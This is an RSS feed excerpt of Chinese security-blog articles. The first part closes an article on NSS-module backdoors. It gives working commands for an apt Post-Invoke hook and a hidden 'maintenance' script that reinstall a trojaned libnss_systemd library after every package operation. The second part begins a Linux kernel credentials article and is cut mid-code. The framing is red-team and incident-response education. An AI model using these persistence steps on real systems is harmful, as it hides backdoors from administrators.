src="https://wechat2rss.xlab.app/img-proxy/?k=a02eea52&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6YiahKTkHmMq1h7Fwv3ppyibo3YMZkL5j6KSXXdWicQg3VibmCl1Wv9yiaYUJCCsrGgoP9eAJzpBKCFFqhW1ibNJY4UnMIxDPBaWQMM5s%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1287037037037037" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019453" src="https://wechat2rss.xlab.app/img-proxy/?k=8f8c0e6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YhicLD2pfIC0wfANGHvMGzZVdCKYS6BXzf4micRpZSL6JicKl5YGHe6kxSTADrhBgIpvIAtbFic1JLwgTTqasaCaWBdCvK6qOgwYSk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5148148148148148" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019457" src="https://wechat2rss.xlab.app/img-proxy/?k=8ffcd65b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YjPofhhsdsEvzVnjNfel2FGkLLcv56N9K26X2VvpO3h83gXPlt20icsBYxhe71pXBMcZsGZ8A0Ra1P8SqHDCATUQcj7hnAeXDbo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">缺点</span></strong><span leaf="">：</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">apt-mark showhold</span></code><span leaf=""> 会列出所有被锁定的包，管理员一眼就能发现异常</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">hold 只能阻止 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">apt upgrade</span></code><span leaf="">（不带包名）的升级。当管理员显式指定包名时（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">apt upgrade libnss-systemd</span></code><span leaf=""> 或 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">apt install libnss-systemd</span></code><span leaf="">），apt 会提示 &#34;The following held packages will be changed&#34; 然后</span><strong style="font-weight: bold;color: black;"><span leaf="">强制升级</span></strong><span leaf="">，hold 被绕过。</span></p></li></ol><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">方案二：apt Post-Invoke 钩子</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">更隐蔽的方式是利用 apt 的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">DPkg::Post-Invoke</span></code><span leaf=""> 钩子，在每次 apt 操作后自动重新部署木马模块。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">创建钩子文件：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">sudo tee /etc/apt/apt.conf.d/99nss-update &lt;&lt;</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;EOF&#39;</span></span><span leaf=""><br/></span><span leaf="">DPkg::Post-Invoke { </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/usr/local/bin/.nss_restore&#34;</span></span><span leaf="">; };</span><span leaf=""><br/></span><span leaf="">EOF</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">创建恢复脚本（隐藏为系统维护脚本）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">sudo tee /usr/</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">local</span></span><span leaf="">/bin/.nss_restore &lt;&lt;</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;SCRIPT&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#!/bin/bash</span></span><span leaf=""><br/></span><span leaf="">TROJAN=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/var/lib/systemd/.nss_trojan&#34;</span></span><span leaf=""><br/></span><span leaf="">TARGET=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2&#34;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> [ -f </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$TROJAN</span></span><span leaf="">&#34;</span></span><span leaf=""> ]; </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">then</span></span><span leaf=""><br/></span><span leaf="">    cp -f </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$TROJAN</span></span><span leaf="">&#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$TARGET</span></span><span leaf="">&#34;</span></span><span leaf=""><br/></span><span leaf="">    chmod 755 </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$TARGET</span></span><span leaf="">&#34;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">fi</span></span><span leaf=""><br/></span><span leaf="">SCRIPT</span><span leaf=""><br/></span><span leaf="">sudo chmod 755 /usr/</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">local</span></span><span leaf="">/bin/.nss_restore</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">预先备份木马模块：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">sudo cp /usr/lib/x86_64-linux-gnu/libnss_systemd.so.2 /var/lib/systemd/.nss_trojan</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这样即使 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">apt upgrade</span></code><span leaf=""> 覆盖了木马模块，Post-Invoke 钩子也会在 apt 操作完成后立即恢复。</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7018518518518518" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019456" src="https://wechat2rss.xlab.app/img-proxy/?k=d38a720a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6Yh5ISKSu9yImJeibZedVOWTKfaj5cIxibNGdYIdpj5cV14kJk4ftfO0odF5lDE8LibkGEEswWMH4pEHU5B7e9me52TF3aX7XVSIIw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3648148148148148" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019454" src="https://wechat2rss.xlab.app/img-proxy/?k=5a2c272a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6Ygku0qdLqjRqiayXEPN3Qd7jcajNIkUCUJcJkHndib4n2gGrafibPVicylOW6ibpIKGDLuXKrpYJZ4P10xHhIy3M5GUtb3gibs4Wzrvw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6296296296296297" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019458" src="https://wechat2rss.xlab.app/img-proxy/?k=3dac3146&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YgUa1zg7Nv4UibkcXI8oKadqNBzsIJvycnvqCd2dyQ7QaRkGwHSEYlCTt0Q9wmQokfBDN02XhWOEQryRqZicXJlDBpE1FJgzoibtE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">可以看到，无论是升级还是重装软件包，后门均有效。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">进一步可以结合 6.2 等内容，绕过 debsums 等实现更加精细化的后门。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">总结</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">本文总结了 NSS 以及其相关的后门技术，NSS 可以控制的内容较多，结合 64 个方法以及 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">constructor</span></code><span leaf=""> 能做的事就太多，可以再后门方面玩出各种花样</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">从应急响应的角度说， NSS 是一个容易忽视的内容，相信大家看到这里以后已经有了相关认知，在后续的应急响应以及红队行动中有所注意</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">往期文章</span></span></h2><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247503055&amp;idx=1&amp;sn=2a2f454352aa36a373a3d04b2bfe42c0&amp;scene=21#wechat_redirect" textvalue="Linux 内核用户管理剖析" data-itemshowtype="0" linktype="text" data-linktype="2">Linux 内核用户管理剖析</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502973&amp;idx=1&amp;sn=7cc823a278c4787fd7f151fe75eee2e3&amp;scene=21#wechat_redirect" textvalue="应急响应手册在线版来啦！ 彻底解决 PDF 版痛点！" data-itemshowtype="0" linktype="text" data-linktype="2">应急响应手册在线版来啦！ 彻底解决 PDF 版痛点！</a></span></p></li></ul></div><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="NOP Team" data-alias="yidalidemao" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/fZT30hrVgRftxytNjJnL5eOVg23jso0f1Xjf2t8ibBgUvibZjvSkOxsQdP2trmzlpmwBIQU9CObUr93c6p1qNHmg/0?wx_fmt=png" data-signature="有态度，不苟同    No System Is Safe！" data-id="MzU1NDkwMzAyMg==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=07c8ac52&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247503116%26idx%3D1%26sn%3Df18024ce255f4f686a7d5a17e09dfcf4">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 09 May 2026 22:33:00 +0800</pubDate>
    </item>
    <item>
      <title>Linux 内核用户管理剖析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247503055&amp;idx=1&amp;sn=2a2f454352aa36a373a3d04b2bfe42c0</link>
      <description>愿心中的火永不熄灭！</description>
      <content:encoded><![CDATA[<p>原创 <span>NOP Team</span> <span>2026-04-23 01:05</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=088791b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F7icpL221ib6YhvgULXdGMWvuIibeECQiaMAaj5rTZTZMRS2RzXyibsYKxqeMPJFCtQhaqTQCmc0GurlRAbwzRwkIwJR8ZA92MKYFTgadd0TKDF4E%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>愿心中的火永不熄灭！</p>
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;" data-pm-slice="0 0 []"><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">赵姐是我永远的偶像！</span></p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x01 简介</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">大家好，我们是 NOP Team ，很久没和大家见面了，今天更新一篇关于 Linux 平台关于用户管理设计的技术文章</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在之前学习 Linux 系统知识、使用 Linux 系统时，可能会了解用户、用户组、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/passwd</span></code><span leaf=""> 、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/shadow</span></code><span leaf=""> ，以及一些用户管理操作</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在对 Linux 系统进行攻击测试的过程中，可能会关注当前获取的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">shell</span></code><span leaf=""> 的用户权限以及如何提权</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">但是在此过程中 Linux 系统到底发生了什么？ 系统底层到底是如何处理多用户操作、用户权限变化等内容的呢？ 这就是这篇文章的主要内容</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">PDF版本下载地址: <a href="https://github.com/Just-Hack-For-Fun/papers" target="_blank">https://github.com/Just-Hack-For-Fun/papers</a></span></p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x02 什么是用户？</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">大家看到这标题可能会一愣，我用了这么久系统，你问我什么是用户？ 那我们视角下的用户，从 Linux 系统内核的视角来说，用户是什么呢？</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">肯定是一串 01 组成的二进制数据，这是肯定的</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这段二进制数据包含哪些内容呢？ 包括用户名？ 家目录？ 用户id？ Session ？ 所属组信息？ 这些二进制数据要完成哪些任务呢？ 包括区分用户？ 权限变化？</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这些问题，都得去 Linux 内核源代码中找答案了</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x03 内核根本不认识用户名</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">Linux 内核从头到尾只认数字。用户名是给人类看的，内核只认 UID（User ID）</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">但也不是说一个用户创建了，就会在内核某个内存空间内就保留它的 UID 等信息，其实一个用户的信息映入内核眼帘的契机是 —— 用户创建进程，例如用户登录启动 bash、用户执行 vim 等</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">每个创建的进程会在内核中对应一个 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">task_struct</span></code><span leaf=""> 结构体，其中在用户管理方面最关键的是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">real_cred</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred</span></code><span leaf=""> 两个指针，直接指向一个 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred</span></code><span leaf=""> 结构体；内核还会保存 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ptracer_cred</span></code><span leaf=""> 作为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ptrace</span></code><span leaf=""> 附加时的凭证快照。 权限判定的主体依据就是这些凭证对象：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// Linux kernel: include/linux/sched.h（简化）</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">struct</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">task_struct</span></span><span leaf=""> {</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ... 几百个字段 ...</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">/* Tracer&#39;s credentials at attach: */</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">struct</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">cred</span></span><span leaf=""> __</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">rcu</span></span><span leaf=""> *</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">ptracer_cred</span></span><span leaf="">;</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 调试者的凭证快照（ptrace 附加时记录）</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">/* Objective and real subjective task credentials (COW): */</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">struct</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">cred</span></span><span leaf=""> __</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">rcu</span></span><span leaf=""> *</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">real_cred</span></span><span leaf="">;</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 真实凭证（&#34;你是谁&#34;）</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">/* Effective (overridable) subjective task credentials (COW): */</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">struct</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">cred</span></span><span leaf=""> __</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">rcu</span></span><span leaf=""> *</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">cred</span></span><span leaf="">;</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 有效凭证（&#34;你现在以谁行事&#34;）</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ...</span></span><br/><span leaf="">};</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// Linux kernel: include/linux/cred.h（节选，按当前主线源码字段名裁剪）</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">struct</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">cred</span></span><span leaf=""> {</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">atomic_long_t</span></span><span leaf=""> usage;      </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 引用计数</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">kuid_t</span></span><span leaf=""> uid;               </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 真实 UID (Real UID)</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">kgid_t</span></span><span leaf=""> gid;               </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 真实 GID</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">kuid_t</span></span><span leaf=""> suid;              </span><span style="color: #5c6370;font-style: italic;line-height: 